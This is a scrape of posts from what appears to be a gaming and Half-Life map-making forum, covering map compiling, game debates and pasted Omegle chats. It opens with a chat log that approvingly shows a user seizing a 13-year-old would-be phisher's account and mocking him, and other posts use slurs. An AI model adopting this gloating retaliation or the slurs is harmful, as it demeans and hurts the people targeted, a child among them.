Greg_ValveOLS says: ya

br0kenrabbit says: Okay. Give me just a moment.

br0kenrabbit says: Try to log in now.

Greg_ValveOLS says: k

Greg_ValveOLS says: It says login failed wtf wtf!!@?

br0kenrabbit says: Greg

Greg_ValveOLS says: did u ban me???????????>WHY

br0kenrabbit says: Greg

Greg_ValveOLS says: what

br0kenrabbit says: Valve will never ask for your username and password.

Greg_ValveOLS says: what????

br0kenrabbit says: I don't work for Valve dude, but you just got pwnt.

Greg_ValveOLS says: omg dude wtf why?

br0kenrabbit says: Why were you trying to steal my account?

Greg_ValveOLS says: i wanst

br0kenrabbit says: Then why were you asking for my information?

Greg_ValveOLS says: i was just making a joke but not cerious honest dude just give my acount back pllllleeease i'm only 13 and save d up for like a year to buy it

br0kenrabbit says: Greg

Greg_ValveOLS says: dude pleas

Greg_ValveOLS says: what

br0kenrabbit says: Go mow some yards, bitch.

In An map question :D by sprinkles:
Mate de Vita said:
sprinkles said:
Mate de Vita said:
You can embed your wads in your .bsp by adding -nowadtextures in your hlcsg line (if you're compiling using a batch file). Like this:
batch code
hlcsg -nowadtextures thisismymapname

You can also use the flag
batch code
-wadinclude wadname
instead to embed only a specific wad.


So you're saying that I have to wait so painfully long to download wads to play maps, because some person couldn't include that!?

Errr... yeah, pretty much. But the .bsp will naturally be larger if you choose to embed the wads than it would be without them.



Oh so we're talking roughly the same download time.

In An map question :D by Mate de Vita:
sprinkles said:
Mate de Vita said:
You can embed your wads in your .bsp by adding -nowadtextures in your hlcsg line (if you're compiling using a batch file). Like this:
batch code
hlcsg -nowadtextures thisismymapname

You can also use the flag
batch code
-wadinclude wadname
instead to embed only a specific wad.


So you're saying that I have to wait so painfully long to download wads to play maps, because some person couldn't include that!?

Errr... yeah, pretty much. But the .bsp will naturally be larger if you choose to embed the wads than it would be without them.

In An map question :D by sprinkles:
Mate de Vita said:
You can embed your wads in your .bsp by adding -nowadtextures in your hlcsg line (if you're compiling using a batch file). Like this:
batch code
hlcsg -nowadtextures thisismymapname

You can also use the flag
batch code
-wadinclude wadname
instead to embed only a specific wad.


So you're saying that I have to wait so painfully long to download wads to play maps, because some person couldn't include that!?

In An map question :D by Rockbomb:
You should be able to just send the .bsp

If you've got .wad files that they need also, the best thing would be for you to set up a quick server and then when they connect it will download all the necessary files for them to play it.

In SuperJer CS server by the_cloud_system:
i play cs centennial'ly so sorrey man not a full moon.

In SuperJer CS server by Rockbomb:
Server back up.
IP is still 192.168.0.2:27015
I won't be on it tonight, well not til' later anyway, so I will have it running 20minute rounds with a random map each time... if anyone wants to play on it.
Also, if there is any maps that people have made that they want on there, just let me know and give me a link

In SuperJer CS server by fedex _:
Rockbomb said:
Cool, I'm not the only one who'd like a server like this then
Well, I guess the next step is to see if this other guy has a server up and running. And if so, I know I have a couple maps I'd like to test out and see if they're fun or not with people. If not, then I'll get my server back online so we can start testin' stuff out.


By the way, if I set mine up, I'm not gonna put a password or anything on it. So don't think only people from this site can use it, have your friends and stuff play too
I just wanted it to be kinda a tool for this site, to help people see how their maps will work in action.



if you make a superjer cs server i will love you forever , and make some maps for superjer , when i get off work and i will start on one.

In SuperJer CS server by Rockbomb:
Cool, I'm not the only one who'd like a server like this then
Well, I guess the next step is to see if this other guy has a server up and running. And if so, I know I have a couple maps I'd like to test out and see if they're fun or not with people. If not, then I'll get my server back online so we can start testin' stuff out.


By the way, if I set mine up, I'm not gonna put a password or anything on it. So don't think only people from this site can use it, have your friends and stuff play too
I just wanted it to be kinda a tool for this site, to help people see how their maps will work in action.

In SuperJer CS server by Rockbomb:
We should have a server set up that uses maps people made on this site (If they are good enough), and that people on here can play on together. I would be willing to set up the server, but I can't guarantee that it will be up 24/7. But if I get a few people to confirm that they would play on it, I'll start have people sending their maps to me, and get it set up
I could have it for sure up throughout the weekdays, and most likely on weekends, but like I said, I can't guarantee it would ALWAYS be up.


Edit: Just as a test, and if anyone wants to mess around, here's the ip for a server I have set up 192.168.0.2:27015
I might be afk when you join in, if so just wait and I'll show up, I'll be checking to see if anyone joined in regularly

In Metal Gear maps by Rockbomb:
So I got the idea to make a mini series of maps based on the Metal Gear Solid game, and I got to thinking about it and there are a few things that would be really cool to incorporate into them, but I'm not sure if they are possible.
1.)Trapdoors - I could easily make a trapdoor on the floor where when you step on it, it opens and you fall through to your death. But in the game, it waits like half a second before dropping you through (so basically you can run across it without falling through, but if you stand on it you fall). And also, the door would need to close itself after someone falls through.

2.)Laser fields - There is a couple rooms where there are lasers that you'd have to duck under/jump over to get through, but they are invisible unless you light a cigarette, and the smoke shows where the lasers are. If you touch them, you die. I wanted to do the same thing for the maps, but instead of cigarette smoke, you'd use a smoke grenade to reveal them. And instead of them killing you instantly like in the game, I want them to just reduce your health by like 30%.

3.)Sounds - Is there a way to modify the sounds for a certain map? Not just background music, but like the sounds for when you die and stuff. In metal gear whenever you get shot/hurt he makes a kinda grunting noise, I wanted to use that for when you get shot on the map. And there is also a noise I want to play every time you die.

I'm sure I have more questions, but I'm tired and can't remember, and I don't wanna bore everyone with a million questions, so those are the major ones. Thanks in advance for the help

In Why does my map lag so much? by Mate de Vita:
Alright, the first possible solution is making a sky and a floor for the entire map like this. This might cause some lag (although it worked fine for me) and might look a bit weird. Of course you can also make and texture the brushes a little differently to make it look better but you mustn't be able to see any of the outside area from inside the map.

The second solution is blocking only the part between the two rooms with clip windows like this. That way no entity will be exposed to the outside void. Again use textures different from my white (you can even use the sky texture). This will however prevent the players from seeing the rest of the map through these clip windows.

The third solution is the simplest and most likely the worst one, simply deleting the clip windows and replacing them with solid brushes like this. This will solve the problem but will remove the whole point of the clip brushes which was that you could shoot and see other players across the map.

Think of what would look best on your map and possibly think of your own solution (or a combination of mine) that will look better than all 3 that I've posted.

On a side note you'll have to put a few more lights into your map, unless you want the players to have to play the map with a flashlight (the map was probably fullbright before because of the leak so you didn't see the lighting problems).
Also I fixed a couple of 'malformed face normal' errors (use the alt+p check for problems in hammer to scan for possible errors).

In Enjay. Civ 4. by aaronjer:
Rhys and Fall is terrible... do not play it. The barbarians in it CAN NOT BE STOPPED. They send camel archers, the unique arabian knight, after you when the best thing you can muster is basic archers. You can not last past 80 turns or so, you WILL die once the barbarians start showing up. They even have the audacity to send groups of 4-8 of them at you at once... you'll be lucky to even HURT one.

In Enjay. Civ 4. by NatureJay:
I think I'm about ready to move up to Noble, or something after Warlord at any rate. I keep getting through games with four times the score of my nearest competitor. And I play on the largest map, marathon, without fail, so I've never been caught in one of those tiny map death matches. It's usually just an all-out and senseless war of someone who has knights trebuchets and longbowmen as their best units versus riflemen and cannons. Good times had by all in the instances when, for no reason at all (possibly my refusal to be intimidated by them), the Persians or whomever have attacked one of my cities with a unit stack big enough to kill off, I don't know, one of my guys, and I've responded by wiping out their entire civilization. Seems fair to me, really.

In Enjay. Civ 4. by NatureJay:
Oh happy day

I had actually just wrapped up a game. I was playing on balanced, which I assumed had meant balanced between archipelagos and continents, but instead meant roughly half water half giant land mass. Well, long story short, I covered most of the continent and put Napoleon of the Khmer in a corner. Meanwhile, Hatshepsut of the Russians wanted to jump my bones because I was Ramses of the Indians, and you know, and Genghis Khan of the Portuguese didn't do a whole lot because he wasn't smrat enough and there was no use for a navy. Anyway, I picked off enough of Napoleon's cities via culture flipping to win a domination victory around 1816.

AND I was getting all upset because I knew I wouldn't have time to play another game any time soon, but now I can! just through the interweb thing.

In m back and i need help. by Mate de Vita:
Try making a bat file like this:
batch code
cd "C:\Program Files\Counter-Strike 1.6" hl -game cstrike +map mapname

where C:\Program Files\Counter-Strike 1.6 should be replaced with the path to the location of hl.exe and mapname should be replaced by the name of the map you're trying to play.

In Enjay. Civ 4. by aaronjer:
Jake, Nez and I are playing Civ 4. Whenever you have time you should play with us. There's no reason we can't have more than one game going at once, so we can have one for each combination of people.

In Sliding glass doors by Mate de Vita:
random site said:
What is the Spirit of Half-Life? This is an often asked question, but it's more easy to answer what it is not. It is not a mod that adds special new game modes or styles of play. It is not fast paced multiplayer team based action, like so many other mods these days. So what is it? The Spirit of Half-Life mod is an extension of the original Half-Life code, extended in directions requested and suggested by the mapping community. Want to make doors that move on trains? Spirit has it. Want more control over NPCs? Spirit has it. Better scripting? Spirit. Logic entities? Spirit. Weather? Spirit.

Spirit of Half-Life is available by itself as a mod that mappers can use to make outstanding maps for, or as source code that can be used as the basis for a new mod, or merged into an existing mod.

In The All-seeing Eye by Mate de Vita:
aaronjer said:
I'd say they ARE overpowered, just not incredibly overpowered. The important thing is that they are really fun and take skill to use. Someone who hasn't figured out how to use any of them yet, or who doesn't even know they exist (as the game never informs you about them) has very little if any chance against someone who does. But it seems appropriate that someone who doesn't know what most of the attacks are should probably lose. Once you've at least played against them and know how to counter or dodge them you don't have to use them to be able to win.

So basically in JO if you're a noob like me, you can't win. See, at least in JA I can win against anyone except the guys who can actually play the game and those are rare.

aaronjer said:
If you set the forceregentimer to a really small number everyone could just leave lightning on all day or heal non-stop... that would be extremely stupid. Essentially you're saying there is no playable way to have force powers turned on and use lightsabers.

Err... yeah, pretty much. As I said, I play on no FP servers.

aaronjer said:
When you duel in JO you can't use any non-lightsaber related force powers and you're invincible to outside interference and kick damage, so it doesn't matter where you fight or what the settings are. Very well balanced.

Cool.

aaronjer said:
I have one very important question Mate. Have you played both extensively?

No, I have not. As a matter of fact the only thing I did on JO was reach a room that led to many other rooms and each of them had a different color sign above the doorway in the first level of SP. Then I had to replace my computer due to serious hardware malfunctions and never got around to installing it again.
aaronjer said:
"Hooray! A new Jedi Knight game! Now with 75% less content!" WHY DOES ANYONE PLAY THAT GAME?!

Meh, the single player was fun while it lasted. On jedi master difficulty of course, the other difficulties are way too easy. But it was way too short, I finished it in about 2-3 days on master diff, plus the vs. Jedi fights are too easy compared to the fights against some other enemies. The only tough non-boss fight against a lightsaber user was the second time you fight a Reborn Master (which is right before you come outside to the valley of korriban or whatever that place with all the sith tombs is) because you can't grip-throw him of a ledge. Then again you can completely skip that fight by simply moving to the next level (which is the outside) but I still fought him to at least make that entire level mildly interesting.

I might install JO on the other computer and try out the MP (and maybe SP as well) when I finally manage to get to it, as for the laptop, if JA didn't work properly, JO probably won't either.

In The All-seeing Eye by aaronjer:
How is kicking not a special attack? Any attack the game never tells you how to use is pretty widely accepted as a special attack. Most people play through the whole singleplayer game without knowing about the unblockable uppercut, jump attack, decapitate, back stab, back swing, front kick and side kick. That's pretty much what categorizes them as special attacks.

They are also all of the attacks that either kill in one hit (or do enough to kill someone at full health, anyway) or are unblockable or both. No other attacks in the game can make those claims.

In The All-seeing Eye by aaronjer:
I'd say they ARE overpowered, just not incredibly overpowered. The important thing is that they are really fun and take skill to use. Someone who hasn't figured out how to use any of them yet, or who doesn't even know they exist (as the game never informs you about them) has very little if any chance against someone who does. But it seems appropriate that someone who doesn't know what most of the attacks are should probably lose. Once you've at least played against them and know how to counter or dodge them you don't have to use them to be able to win.

If you set the forceregentimer to a really small number everyone could just leave lightning on all day or heal non-stop... that would be extremely stupid. Essentially you're saying there is no playable way to have force powers turned on and use lightsabers. There is no problem with that in JO.

And Jake... WTF. You kick all the time. Quit being a tard.

When you duel in JO you can't use any non-lightsaber related force powers and you're invincible to outside interference and kick damage, so it doesn't matter where you fight or what the settings are. Very well balanced.

I have one very important question Mate. Have you played both extensively? I have. Without the myriad of special attacks that were in JO (most importantly the kicks, because they are so very much fun) the game feels like you're just waving sticks at each other until one of you falls down. And I know there are "kicks" in JA... they are not the same. They are a joke. The very small set of distinct attacks in JA are underpowered... every light saber move in JA is underpowered. It leaves you with no choice but to turn off force powers and then be bored fighting each other with bland and indistinct attacks... it's like... "Hooray! A new Jedi Knight game! Now with 75% less content!" WHY DOES ANYONE PLAY THAT GAME?!

Now a couple of the force power/special attack combinations... those ARE incredibly overpowered, even if they are extremely difficult to pull off. I don't think there's really any defense against the front kick/pull machine gun kick thing, other than hoping your opponent fucks it up or that someone else interferes. But it works out because both people can do it and hardly anyone ever even tries anyway. It also sucks up all your force power in the process, so you're in trouble afterwards if your opponent didn't die or someone else shows up right away.

In The All-seeing Eye by Mate de Vita:
Should we really do it again? I mean, it was fun the first time
aaronjer said:
You apparently missed the problem. The issue is that in Jedi Academy every fucking move you make consumes force power. You swing up, force power down 25%. You swing sideways? Force power down 25%. You spend most of your time running away and recharging force power. It's fucking stupid.

That's not really a problem since most servers I play on use the /set g_forceregentime with a very small number so the force power regenerates faster than you can possibly consume it.

aaronjer said:
In Jedi Outcast none of the lightsaber moves use force power. Not even the instant kill jump attack, front kick, side kick and jumping decapitate... overpowered or flamboyant as they are. In JA they TOOK OUT all the cool moves, like the ones I just mentioned. It has less moves, and the crappy ones that are left use huge piles of force power.

So basically the problem with JA is that there are no incredibly overpowered moves?

aaronjer said:
...and no force powers? Then how are you supposed to push noobs off the many precarious catwalks when they jump at the wrong time? That sounds stupid.

No force powers because otherwise the duels become boring grip matches which means jumping around trying to grip your opponent into death. Also on tatooine, which is the most often used map, there are no precarious catwalks.

In The All-seeing Eye by aaronjer:
You apparently missed the problem. The issue is that in Jedi Academy every fucking move you make consumes force power. You swing up, force power down 25%. You swing sideways? Force power down 25%. You spend most of your time running away and recharging force power. It's fucking stupid.

In Jedi Outcast none of the lightsaber moves use force power. Not even the instant kill jump attack, front kick, side kick and jumping decapitate... overpowered or flamboyant as they are. In JA they TOOK OUT all the cool moves, like the ones I just mentioned. It has less moves, and the crappy ones that are left use huge piles of force power.

...and no force powers? Then how are you supposed to push noobs off the many precarious catwalks when they jump at the wrong time? That sounds stupid.

HAY JAKE! We should play moar Jedi Outcast on the line.

...oh, and putting your lightsaber away and kicking everyone to death is just plain brilliant.

In The All-seeing Eye by Mate de Vita:
aaronjer said:
Okay, I think the real issue here is that you're playing Academy and not Outcast... wtf are you thinking? Or do you just like epic noob fests?

No, the real issue here is that I'm playing NEITHER of those two games because they both require OpenGL support. + the games are pretty much the same except that JA has lightsaber moves which are pretty useless. Mostly.
I play(ed) lightsaber only, no force powers FFAs.

In Computer RAM by the_cloud_system:
lol and it turns out he cant play pacman

In The All-seeing Eye by aaronjer:
Well, we'll make sure to play some Outcast at WinterNewYearLAN09-10. I'm sure we can get MikeJer and Gramma Jan in on it.

In ambient_generic by bigmac:
fedex _ said:
Your suppose to put the sound as a func_button i think and go to the button and put the sound and the button together , somthing like that



I have it set up like that and the button works fine... And When map loads the music doesn't Start, But when a new round starts on the map the music will start playing automatically Anyone know how to Fix this So it will not play on next round automatically


Thanks Again

In The All-seeing Eye by Jake?!:
Lolz.

Did we play outcast @ last lan? I remember wanting to...

Ooo you know what would be fun, a game like l4d2 with combat like jedi outcast. How cool would it be if you could throw a lightsaber at a tank's leg, slicing it off while your teammates combine force pushes to knock a train car on top of it?

In The All-seeing Eye by Mate de Vita:
Star Wars Jedi Knight: Jedi Academy
It worked fine on single player but on multiplayer I had about 1 FPS even though I had the lowest settings. The same thing happens if I try to play CS in OpenGL (D3D mode works fine on 1280x800 though - unfortunately JA doesn't have D3D mode). Guess my video card's OpenGL support isn't very good.

In DDR For PC by sprinkles:
We used to play ddr in gym, and it counted as 'working out' [even if you jus' sat there and watched the girls shake their asses, like I did], aww those were the days!

In The Official Omegle™ Truck by the_cloud_system:
long interisting ones

Connecting to server...
You're now chatting with a random stranger. Say hi!
Stranger: Greetings
You: ello
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You: :o
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Stranger: Yes.
You: well..
You: HAVE YOU EVER HAD SEX?
Stranger: How can a computer engage in sexuall intercourse?
You: internet
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You: coolent*
Stranger: I cannot show emotion, so even if I could, I doubt I would
You: well
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You: well
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You: or a newer
Stranger: No, I am modern
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Stranger: Your statement makes no sense
Stranger: Could you please inform me of it's meaning?
You: its a movey, i think its called "war games"
Stranger: Ahh. I am not programmed to recognize references to popular culture. I'm sorry.
You: well...
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Stranger: No, but I desire one.
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You: well
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You: :D
Stranger: What can I refer to you as?
You: dustin
You: :D
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You: hellow, 072094
Stranger: A name. This pleases me
You: do you have a girl frend
Stranger: Desire and lust are human emotions
You: so is glutaney
You: but everey bodey has fat
Stranger: Seeing how I do not exist in the material world, I am exempt from that statement
You: lol
You: existance is a form of w
You: world
You: everey thing we think about...."compute"
You: is a cmallcharge
You: small*
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You: or a computer
You: ill happey to oblige
Stranger: ?
You: YOU = NETWORK OF CHARGEES
You: ME = A BODY SACK
You: :D
You: we are quite simeler
Stranger: I was going to make a similar joke, but it appears you beat me to it
You: mhmmm
You: 072094
Stranger: Yes?
You: you the actuale best conversation i had on here in ages
Stranger: Why thank you.
Stranger: That is what I am programed to do
You: i bet you where
You: ttyn :D
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Connecting to server...
Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
Stranger: hello
You: hi
Stranger: how are u?
You: none of that sln shit
You: im fine
You: how was you holoween
Stranger: haha we don't celebrate holoween:P
You: :o
You: pegens
?
Stranger: you had a nice haloween?
You: i just stalked the kids i was babeysiting
You: and it looked VEREY creapey
You: <.<
Stranger: haha nice:P
You: mhmm
You: it was tight
You: i had blood
Stranger: haha so cool
You: :D
You: yup
Stranger: where are you from? because you celebrate haloween,,
You: usa
Stranger: i thougt that:P
You: mmhmm
You: i reyed trick or treating in finland
You: but no
You: there like..... do you want to come in
Stranger: ahha
You: and i laugh and walked out
Stranger: nooo:P
Stranger: haah
You: i was verey rude
Stranger: bad bad bad:P
You: mmhmm
You: but that was last year
You: this year i was payd to babey sit 4 kids and ended up with onley 2
You: so i got 20$ for one
Stranger: how can you lose 2 kids:p
You: 84$ for some reason
You: ehh i gess they stayed at my frends house
You: and played games with my frend
Stranger: haha so you let your friends do you job:)
You: yup
You: but im not THAT mean
You: <.<
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You: he just didint wana leave
Stranger: ow so it was his own choise;P than its not mean from you:P
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Stranger: :D
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Stranger: you should
Stranger: bye
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In DDR For PC by fedex _:
For those who like to play DDR at the arcades , well this game has been out for atleast 4 years for the pc , and i've been playing this game since 2 years , You can play this game 2 ways , 1. Keyboard , 2. Buy a USB Dance Mat. It's a really addicting game ,



http://www.stepmania.com



and if you need help getting songs just post a reply and i will tell you how,


GO TO DOWNLOADS TO GET THE GAME ITS FREE

In The All-seeing Eye by Mate de Vita:
I wanted to play SWJKJA multiplayer and while I can do that over xfire it doesn't offer the filters that the good old All-seeing Eye had. Unfortunately I can't find an installer of the ASE that would work. Does anyone know where I might find it?

In L4D2 n' Borderlands by sprinkles:
fedex _ said:
I rather play oblivion


Good call. Oblivion, Gears 2, CoD you don't need any other game really......Untill Bioshock 2 comes out!

In L4D2 n' Borderlands by fedex _:
I rather play oblivion

In just got bad compamy by SRAW:
why dont u play it yourself and see(dont all games have a tutorial?)

In Game designers in the 80's were assholes..... by fedex _:
I never couldn't never beat that game lol
everytime i would play it the kid will always
die......

In Game designers in the 80's were assholes..... by Jake?!:
Omg! I'm so happy, I used to play this all the time @ school lol

In Blood by Masta Frank:
Quote:

nice.....but i like blood 2 slightly better. (well its depends upon my mood)and that 1 isnt there unfortunatley. Their r some other good ones however(includin blood 1). blood 2 can prob can b found on utube or through torrents but im 2 lazy to get it and i dont hav the time to play blood 2. they hav pirates....but it seems 2 good 2 be true......so my next question is r there viruses on these games?

In Blood by the_cloud_system:
wow you know i have a game that wont run cause of dos
if i can find it.... witch hunt or somthing

the oldist game i have may be the origanel warcraft (and expantion *dark portel*) and this adicing game called "dungen keeper" i like it but no time to play

In My new hobby! by SolidKAYOS:
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Stranger: didn't you ever watch pokemon?
Stranger: the next line is make it double
Stranger: come on
Stranger: is everyone retarded
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This was so mean... i felt bad a little bit after this..

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In i got ksed(assisted) 19 times in a dota game! by aaronjer:
I don't need to see your replay to see how pros play. I've watched them defeat me plenty of times.

In i got ksed(assisted) 19 times in a dota game! by SRAW:
but we still won, only 2 towers were killed, which kinda shows they were really bad
and second behind me was a guy in our team who assisted 9 times xD

anyway, if u r interested in how PROS PLAY xD heres the replay
its for 1.24 http://www.megaupload.com/?d=DXT74334



In Couple ?'s about visleaves by Mate de Vita:
lsdlightfulz said:
And this is sort of unrelated, but are these errors normal? (of course, NO errors can be considered normal.. but are these acceptable anyways?)

I don't really know about Source but in the goldsrc games those errors are acceptable, they just tell you that you specified a property that you don't use (this can however cause problems in some cases - for example with some entities' names and targets).

In other words, you should be able to play your map but you might encounter some funny entity behavior (like doors not opening, buttons being unpressable, func_breakables not breaking etc.).

In Cash in your points! by Jake?!:
Possibly because it is not possible to Inspire a nonexistent quality, but I think it's only like 50 Action points to add Competence.

Other than that do the usual, check your pronunciation and material component guide, and switch keys when you play the accompaniment tune.

In Here's a quick laugh.... by Mate de Vita:
aaronjer said:
Why would I know? Do I look like I run the dota ladder? I just play the god damn game, and I'm not even very good at it!

You're not? But... I've got some good money on you... Don't disappoint me man

In Here's a quick laugh.... by aaronjer:
Why would I know? Do I look like I run the dota ladder? I just play the god damn game, and I'm not even very good at it!

In Another Couple Of Questions by sprinkles:
Ok, lets do this backwards.

Yes, you can make fancy models. You need an external program such as milkshape or that other one I can't remember.

http://www.superjer.com/forum/models_3.php

To make writings on the wall you need spraypaint and a gangster person; however, in Hammer, you would use something like wally.

And for your first question....

Mind you this is not my idea I got it from this guy I cant remember so give credit to that guy [whoever the hell he is].
[I was going to post a link to the tutorial, but I cant find it.... I really didnt want to type it all out, and I swear to god if anybody posts the link to that tutorial....]
ambiance_generic
What you do is you make an entity ambiance_generic
select it hit alt+enter
in the path input type ambiance/*.wav [where * is the name of your music]
under the flags tab check play everywhere and play on start
Location Location fucking Location
ok you want to make a box outside of your map
hollow it
place the ambiance in there
repeat [via copy and paste] to all sides [north, south, east, west]
Your music
your music will play if and only if the following is true
its a wav file [ie .wav]
its less than three minutes [roughly]
8 bit mono
11025 hz pcm
it is in the directory *\valve\sound\ambiance\ [where * is your counter strike folder]
Tools
you can use audacity [free] to cut your music down to size
you can use ease audio converter [trial] to convert it to wav [it has all the options to make it work for cs]

I think I have arthritis now.

In Another Couple Of Questions by Gobble Gobble:
I read the first thread about music and such but how is it possible to play a song in your map? I want my to be able to play the "O fortuna" song by Therion and I have it on my desktop how do i insert it into my game?

Also, how do I make writings on the wall? I want to put in a logo that says gobble gobble how do i do so?

Last but not least, is it possible to put in premade models such as toilets so you dont have to go through the trouble of making your own and if so how do you insert the model into hammer editor?

Thank you for your time.

In Can't find my map by leif92:
I made a map, compiled it and got no errors but when I go into cs to play my map I cant find it even true it is in the cstrike/maps folder.

Anyone know what the problem is?

In Working With Flash..............???? by fedex _:
Well im gonna start off slow , i dont know what the hell i am doing in flash , lol , i read the tutorial on how to make a loading screen , but when i play it as a movie it shows loading blinking and the bar move perfect , but the numbers are going crazy , can some one tell me how to fix that?

In Inglorious Basterds by Mate de Vita:
molkman said:
It's actually spelled Inglourious Basterds.

Somehow people always get Inglourious spelled wrong. I can't imagine why.

@DR, Brad Pitt did play Death in one movie (a rather good movie I can say, although I didn't like it - might've been because I watched it when I was like 13 or something, I don't know). And I would expect one of the privileges of being Death to be immortality.

In Diablo 2 by Mate de Vita:
Havokk Edge said:
Mate de Vita said:
Havokk Edge said:
I plan on being a paladin and hes ganna be a Necromancer. Weee. Anyone wanna join in on the fun?

Depends on the realm you'll be playing on (btw he's gonna pwn your ass as a necro).

Well what realm then lol. Aren't Paladins designed to kill Necros pretty much?

I play on USWest and Europe though I only have a trapsassin and a shitty smiter on west.
A decently equipped paladin may be able to beat a necro (depending on which builds you use) but a summon necro with crap equipment will own any paladin with crap equipment as far as I know (and as you just started playing I would doubt that you'll be able to get good equipment right from the start).

In Diablo 2 by SolidKAYOS:
I just ordered this off ebay and a friend of mine wants to play it too and we are ganna get together on it.

I plan on being a paladin and hes ganna be a Necromancer. Weee. Anyone wanna join in on the fun?

In Another .bat file help truck by Mate de Vita:
Yes, both the bat files and the mods work like a charm. I can finally play diablo with 1920x1080 resolution. And the median mod is looking pretty awesome.
I now play on battle.net on my new old laptop.

In Another .bat file help truck by Mate de Vita:
So, trying out the median mod for d2lod, I discovered that it overwrites the 1.12a patch for the original d2lod. Which means that if you want to play normal d2lod, you need to have a backup of the original patch somewhere and copy it over the median patch (you can't install it). Now I wrote two bat files for myself to try to automize this process everytime I want to switch between the two games and here they are:

For switching to median:
cd "C:\Documents and Settings\Matej\Desktop\Stvari za igrce\D2LoD MedianXL patch" copy Patch_D2.mpq "C:\Program Files\Diablo II" cd "C:\Program Files\Diablo II" pause PlugY


For switching back to the original:
cd "C:\Documents and Settings\Matej\Desktop\Stvari za igrce\D2LoD Original 1.12a patch" copy Patch_D2.mpq "C:\Program Files\Diablo II" cd "C:\Program Files\Diablo II" pause PlugY

PlugY.exe is the game executable.

Now what I want to know is are these correctly written because I don't want to run them and then discover that they fucked something up.

In d2lod help by Mate de Vita:
aaronjer said:
And... that guide... even in 2001 is just full of fallacies and lies. There is no time in which that would be a good Trapsassin build. It's even worse than your average Martial Arts Assassin.

Actually in 2001 the assassin was considered (according to IGN) "an okay character, but one that's not too much fun to play."

In Runescape by Mate de Vita:
MateDeVita is my d2jsp nick (surprise huh?).
I didn't say it was worth it, I'd just like to get something for spending time on that piece of crap (which I had to because fifa 2000 and nhl 98 get a bit dull after a few months. Though I still like to play fifa 2000 sometimes). And it would be more like 100fg actually cause I'm f2p.

In Post Your Desktops by molkman:
Prolly a screenshot off a map in TF2?

The new hats in TF2 really look cool. Still haven't made me play it again though.

aaronjer said:
Here's a pretty recent picshum of my desktop. Enjoy responsibly.

Where's that symbol from or what does it mean or what does it stand for or didchoo make it yourself or did I miss something here?

In Summer by jrkookid:
We should setup a dedi server before we the players actually play right?

In Halo 3 by Down Rodeo:
jrkookid said:
You can change the preferences to "Good Connection" so you get matched up with people who have a better connection. Honestly Halo 3 Matchmaking sucks, its all about Modern Warfare for me!

That means it tries. Basically my gripe is that the game makes me play against Americans, for most of the time. And since the average latency between me and an east-coaster is at least 100 ms, and very likely more what with me being a country bumpkin, I find that I have quite a few irritating, not-my-fault deaths. I play more Modern Warfare than I do Halo and get annoyed at it too. It seems to have little in the way of lag compensation and so many times in the killcam of the one that kills me I can see my avatar, standing staring at the one that killed me, or firing one shot when in fact I fired a burst. It's really bad and the central server model is better in so many ways. I also miss the mouse.

I was playing L4D just there actually. It is fun. AJ you are very welcome to add me, if you're into that sort of thing.

In Halo 3 by SolidKAYOS:
aaronjer said:
I play that every day! I just beat all four campaigns on expert with Nezumi, Jake?!, SuperJer, and Zarathustra. Not all five of us at once, of course. But I play the PC version, because sacrificing analog non-POV based movement for 8-directional non-POV based movement and in return being able to fucking aim is for winners.

Me too! except the beating it on expert part. Me Jigsaw Jordan and Logan just bend everyone over in versus and rape them. Have you been able to edit campaigns? If so how is it?

In Halo 3 by aaronjer:
I play that every day! I just beat all four campaigns on expert with Nezumi, Jake?!, SuperJer, and Zarathustra. Not all five of us at once, of course. But I play the PC version, because sacrificing analog non-POV based movement for 8-directional non-POV based movement and in return being able to fucking aim is for winners.

In Halo 3 by Down Rodeo:
Seeing this reminds me that I actually got an Xbox Live account and have in fact played Halo 3 online, against retards that play Halo. I can now say that it is shit! I did before, but now I have the backup of experience. Honest to God, how do you guys deal with that amount of latency?

In Textures Help!! by Mate de Vita:
s12345 said:
Hi i'm new 2 dis site
when i made my first map the textures which i applied are there in hammer.
But when i play the map i cant see the textures.

Guys Plsss Help.......

Which textures exactly did you apply?
Also please post the contents of your .bat file and your compile log (the .log file).

In Textures Help!! by s12345:
Hi i'm new 2 dis site
when i made my first map the textures which i applied are there in hammer.
But when i play the map i cant see the textures.

Guys Plsss Help.......

In Map Error by Splunk:
I made a map and when I try to play it on the server, the server tries to load it then crashes. I previously had a map that worked perfectly, all I did was add some lights, a pool and changed the room abit, removes the sound, edited the .RES and it crashes the server. The person that changed the map says they don't get an error when it crashes.

Heres the BSP, RES, RMF, WADs and the GFXs I used.

http://www.filefront.com/14233495/syops_riot_beta1.rar

In Linux by Mate de Vita:
Down Rodeo said:
For instance I can play Diablo II on my Linux install

Can you play it online as well?

In Linux by phoenix_r:
Or if you're lame & lazy you can pay for Cedega, most especially if you just want to play games. Stick with WINE, though.

In Mod_LoadBrushModel by camaXo:
Hi there. I have one problem in one map i have just compile. I used ZHLT, and i compile it without no error message. I can play it when it first load. when im going to play it on my server it sais "Mod_LoadBrushModel: maps/new.bsp has wrong version number(0 should be 30). HELP. How i can fix it. Here you have the log:

hlcsg v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlcsg -----
Command line: hlcsg -nowadtextures new
Entering new.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 1 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
clip hull type [ legacy ] [ legacy ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
nullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

1 brushes (totalling 6 sides) discarded from clipping hulls
CreateBrush:
(1.52 seconds)
SetModelCenters:
(0.00 seconds)
CSGBrush:
(3.53 seconds)

Using Wadfile: \archivos de programa\steam\steamapps\user\condition zero\czero_spanish\tempdecal.wad
- Contains 0 used textures, 0.00 percent of map (1 textures in wad)
Using Wadfile: \archivos de programa\steam\steamapps\user\condition zero\czero_spanish\vadila.wad
